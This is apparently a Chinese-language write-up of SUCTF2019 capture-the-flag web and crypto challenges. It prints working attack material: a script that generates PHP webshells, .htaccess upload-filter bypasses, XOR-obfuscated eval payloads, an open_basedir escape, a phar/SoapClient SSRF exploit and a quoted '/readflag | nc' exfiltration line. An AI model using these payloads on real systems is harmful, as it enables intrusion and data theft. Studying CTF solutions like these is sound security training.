SUCTF2019 wp
web CheckIn .user.ini
构成后门文件 这里用了asp_tags
绕过<?
,也可以使用<script language='php'>
easyphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh); ?>
给了一个get_the_flag
函数,很明显就是通过下面的代码调用get_the_flag
函数上传文件拿shell
利用异或来构造$_GET
变量 下面传入的参数限制很严格,长度不大于18,所用字符不多于12个
1 2 php > echo urlencode('_GET'^urldecode('%ff%ff%ff%ff')); %A0%B8%BA%AB
payload:
1 _=${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag
上传绕过 上传文件扩展名不能有ph
,内容中不能有<?
,同时要满足exif_imagetype
对图片格式的验证
上传.htaccess
来解析上传文件https://thibaudrobin.github.io/articles/bypass-filter-upload/
X Bit Map 文件 以下C代码示例了一个XBM文件:
1 2 3 4 5 #define test_width 16 #define test_height 7 static char test_bits[] = { 0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80, 0x00, 0x60 };
前两行定义了图片的宽和高,以#
开头,而#
也是.htaccess
文件的注释符
payload:
1 2 3 4 5 6 7 8 #define width 1337 # Define the width wanted by the code (and say we are a legit xbitmap file lol) #define height 1337 # Define the height AddType application/x-httpd-php .php16 # Say all file with extension .php16 will execute php php_value zend.multibyte 1 # Active specific encoding (you will see why after :D) php_value zend.detect_unicode 1 # Detect if the file have unicode content php_value display_errors 1 # Display php errors
这里的.htaccess
文件可以用php解析自定义后缀名的文件,启用了特殊文本编码(utf-16)
然后上传一个utf-16
编码的php文件,绕过对内容的检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #!/usr/bin/python3 # Description : create and bypass file upload filter with .htaccess # Author : Thibaud Robin # Will prove the file is a legit xbitmap file and the size is 1337x1337 SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n" def generate_php_file(filename, script): phpfile = open(filename, 'wb') phpfile.write(script.encode('utf-16be')) phpfile.write(SIZE_HEADER) phpfile.close() def generate_htacess(): htaccess = open('.htaccess', 'wb') htaccess.write(SIZE_HEADER) htaccess.write(b'AddType application/x-httpd-php .php16\n') htaccess.write(b'php_value zend.multibyte 1\n') htaccess.write(b'php_value zend.detect_unicode 1\n') htaccess.write(b'php_value display_errors 1\n') htaccess.close() generate_htacess() generate_php_file("webshell.php16", "<?php system($_GET['cmd']); die(); ?>") generate_php_file("scandir.php16", "<?php echo implode('\n', scandir($_GET['dir'])); die(); ?>") generate_php_file("getfile.php16", "<?php echo file_get_contents($_GET['file']); die(); ?>") generate_php_file("info.php16", "<?php phpinfo(); die(); ?>")
0x00
开头的图片ico、wbmp文件以0x00
开头
.htaccess
中以\x00
开头该行会被忽略
1 2 3 4 5 6 \x00\x00\x8a\x39\x8a\x39AAAAAAAAAA AddHandler application/x-httpd-php .png php_flag zend.multibyte 1 php_value zend.script_encoding 'UTF-32LE' php_flag zend.detect_unicode 0 php_value auto_append_file 'php://filter/convert.iconv.UTF-8%2fUTF-32LE/resource=/tmp/IAM_THE_BESTEST_HACKZ0R'
这里使用UTF-32LE
编码PHP文件,使用伪协议转换编码
也可以使用base64编码
1 2 3 4 5 6 htaccess = b"""\x00\x00\x8a\x39\x8a\x39 AddType application/x-httpd-php .asp php_value auto_append_file "php://filter/convert.base64-decode/resource=upload/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.asp" """ shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
open_basedir绕过 1 ?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
upload-lab2 题目可以上传文件,检查文件类型
对上传文件的扩展名、文件大小、文件内容做了限制
在admin.php
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){ if(isset($_POST['admin'])){ $ip = $_POST['ip']; //你用来获取flag的服务器ip $port = $_POST['port']; //你用来获取flag的服务器端口 $clazz = $_POST['clazz']; $func1 = $_POST['func1']; $func2 = $_POST['func2']; $func3 = $_POST['func3']; $arg1 = $_POST['arg1']; $arg2 = $_POST['arg2']; $arg2 = $_POST['arg3']; $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3); $admin->check(); } }
需要通过本地来访问,执行$admin->check();
在Ad
类中
1 2 3 4 function __destruct(){ getFlag($this->ip, $this->port); //使用你自己的服务器监听一个确保可以收到消息的端口来获取flag }
直接就能拿到flag
在class.php
中,File
类的getMIME
方法调用了finfo_file
函数
1 2 3 4 5 function getMIME(){ $finfo = finfo_open(FILEINFO_MIME_TYPE); $this->type = finfo_file($finfo, $this->file_name); finfo_close($finfo); }
finfo_file/finfo_buffer/mime_content_type
均通过_php_finfo_get_type
间接调用了关键函数php_stream_open_wrapper_ex
,导致均可以使用phar://
触发 phar反序列化
File
类的__wakeup
方法通过反射初始化了一个类并调用了其check
成员方法,将类名改为SoapClient
,调用check
方法时就会去调用__call
方法,实现SSRF
1 2 if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){ die("Go away!");
上面的代码对url进行了正则过滤
类似compress.bzip2://phar://
和 compress.zlib://phar://
绕过,这里使用php://filter/resource=
或者 php://filter/read=convert.base64-encode/resource=phar://
上传内容不能有<?
,使用<script language="php">__HALT_COMPILER();</script>
使用SOAP exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt','text'); $phar->setStub('<script language="php">__HALT_COMPILER();</script>'); class File { public $file_name = ""; public $func = "SoapClient"; function __construct(){ $target = "http://127.0.0.1/admin.php"; $post_string = 'admin=&ip=111.111.111.111&port=1111&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n"; $headers = []; $this->file_name = [ null, array('location' => $target, 'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string), 'uri'=>'hello') ]; } } $object = new File; echo urlencode(serialize($object)); $phar->setMetadata($object); $phar->stopBuffering();
在出题笔记 https://xz.aliyun.com/t/6057#toc-6 中,说到了其实getflag应该写在Ad
类的__wakeup
方法中
1 2 3 function __wakeup(){ system("/readflag | nc $this->ip $this->port"); }
如果是__wakeup
方法,还需要去触发unserialize()
函数来调用它。
考察mysql client attack chain
,Rogue Mysql
的攻击也适用于phar
反序列化
https://github.com/knownsec/404-Team-ShowCase/blob/master/20190801-TSec-Comprehensive%20analysis%20of%20the%20mysql%20client%20attack%20chain(%E5%85%AC%E5%BC%80%E7%89%88).pdf
easysql 1 $sql = "select ".$post['query']."||flag from Flag";
堆叠注入,比赛时没有fuzz出来
payload : *,2
–> select *,2||flag from Flag
另一种做法:1;set sql_mode=pipes_as_concat;select 1
将||
视为字符串的连接操作符而非或
运算符
https://blog.csdn.net/lixora/article/details/60572357
pythonginx unicode
to ascii
的域名转换导致的解析问题
https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
payload : url=file://suctf.c%E2%84%82/../../../usr/fffffflag
Cocktail’s Remix robots.txt
1 2 3 4 User-agent: * Disallow: /info.php Disallow: /download.php Disallow: /config.php
info.php
phpinfo页面
download.php
页面任意文件下载
config.php
有mysql配置
1 2 3 4 5 6 # config.php <?php //$db_server = "MysqlServer"; //$db_username = "dba"; //$db_password = "rNhHmmNkN3xu4MBYhm"; ?>
info.php
里显示加载了mod_cocktail
模块
下载/usr/lib/apache2/modules/mod_cocktail.so
,通过分析,reffer
头base64编码能rce
payload:
base64encode:mysql -hMysqlServer -udba -prNhHmmNkN3xu4MBYhm -e "use flag;select * from flag;"
crypto mt convert
函数是修改过的马特赛特旋转算法(Mersenne_Twister)里的,写解密函数即可
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from Crypto.Random import random from Crypto.Util import number def convert(m): m = m ^ m >> 13 m = m ^ m << 9 & 2029229568 m = m ^ m << 17 & 2245263360 m = m ^ m >> 19 return m def transform(message): assert len(message) % 4 == 0 new_message = '' for i in range(len(message) / 4): block = message[i * 4 : i * 4 +4] block = number.bytes_to_long(block) block = convert(block) block = number.long_to_bytes(block, 4) new_message += block return new_message def unshiftRight(x, shift): res = x for i in range(32): res = x ^ res >> shift return res def unshiftLeft(x, shift, mask): res = x for i in range(32): res = x ^ (res << shift & mask) return res def untemper(v): """ Reverses the tempering which is applied to outputs of MT19937 """ v = unshiftRight(v, 19) v = unshiftLeft(v, 17, 2245263360) v = unshiftLeft(v, 9, 2029229568) v = unshiftRight(v, 13) return v flag1= 'd\x14`\xa9' flag2='\xe3\x95;\x1a' flag3='\xaa!\xf3\xa2' print number.long_to_bytes(untemper(number.bytes_to_long(flag1))).encode('hex') print number.long_to_bytes(untemper(number.bytes_to_long(flag2))).encode('hex') print number.long_to_bytes(untemper(number.bytes_to_long(flag3))).encode('hex')
DSA 找一组存在相同r的数据
PyCrypto库: https://www.dlitz.net/software/pycrypto/api/current/Crypto.PublicKey-module.html
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #coding=utf8 from Crypto.PublicKey import DSA import gmpy2 # key = DSA.importKey(f) p = 89884656743115795410330446766305444810004136012254088951572626435286675422682176229402503492580606179917249860049739727209788038822130599201415424530376802111943477311274012282077144230261944897642709888276214865231977633092681851700371975525345570071410658086330999327910225883994595418375586127382561183191 q = 1094739534860224235292878176784189923705337366681 g = 45176704602678996466345491147786667514847110446672958949281105387456640601013626319027713209352510744986626134114193057293579073731880980525600350365289453025924146490115563191128377152922598073864423115154272883314941825033353881375702194460534492199607861471983318048983963024096271251226427130673857316585 y = 61479767771358258196948224103790632963915961870698154860798353299911601917061489072316373651812019818071957679426946395513936475220577021289850660360631285121859875756712938541469885329065894927857856661441896764290927390640280108692341643373962441245795263751929643359369289268442230656568047041895034174663 m3=27650803417371457807064002936379775828 m4=193111848988193367504523557345609960681 s3 = 969619933279812097233565740032014835031020421736 s4 = 224560611630673652816158535380665653808929415702 r = 221956686088729432900817425736488818196886074744 ds = s4 - s3 dm = m4 - m3 k = gmpy2.mul(dm, gmpy2.invert(ds, q)) k = gmpy2.f_mod(k, q) print "k = "+str(k) tmp = gmpy2.mul(k, s3) - m3 x = tmp * gmpy2.invert(r, q) x = gmpy2.f_mod(x, q) x=int(x) print "x = "+str(x) # text="And nothing 'gainst Time's scythe can make defence" key = DSA.construct((y,g,p,q,x)) h=334436397493699539473999398012751306876 print key.sign(h,k) # flag{Wh4t_a_Prety_Si3nature!}
Prime 给了四个n,四个n两两都不互质,能求出每个n的四个因子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 n1p1 = gcd(n1,n2) n1p2 = gcd(n1,n3) n1p3 = gcd(n1,n4) n1p4 = n1/(n1p1*n1p2*n1p3) d1=int(gmpy2.invert(n1,(n1p1-1)*(n1p2-1)*(n1p3-1)*(n1p4-1))) m1 = pow(c1,d1,n1) n2p1 = gcd(n2,n1) n2p2 = gcd(n2,n3) n2p3 = gcd(n2,n4) n2p4 = n2/(n2p1*n2p2*n2p3) d2=int(gmpy2.invert(n2,(n2p1-1)*(n2p2-1)*(n2p3-1)*(n2p4-1))) m2 = pow(c2,d2,n2) n3p1 = gcd(n3,n1) n3p2 = gcd(n3,n2) n3p3 = gcd(n3,n4) n3p4 = n3/(n3p1*n3p2*n3p3) d3=int(gmpy2.invert(n3,(n3p1-1)*(n3p2-1)*(n3p3-1)*(n3p4-1))) m3 = pow(c3,d3,n3) n4p1 = gcd(n4,n2) n4p2 = gcd(n4,n3) n4p3 = gcd(n4,n1) n4p4 = n4/(n4p1*n4p2*n4p3) d4=int(gmpy2.invert(n4,(n4p1-1)*(n4p2-1)*(n4p3-1)*(n4p4-1))) m4 = pow(c4,d4,n4)
RSA lsb PARITY Oracal attack
https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_chosen_plain_cipher-zh/#rsa-parity-oracle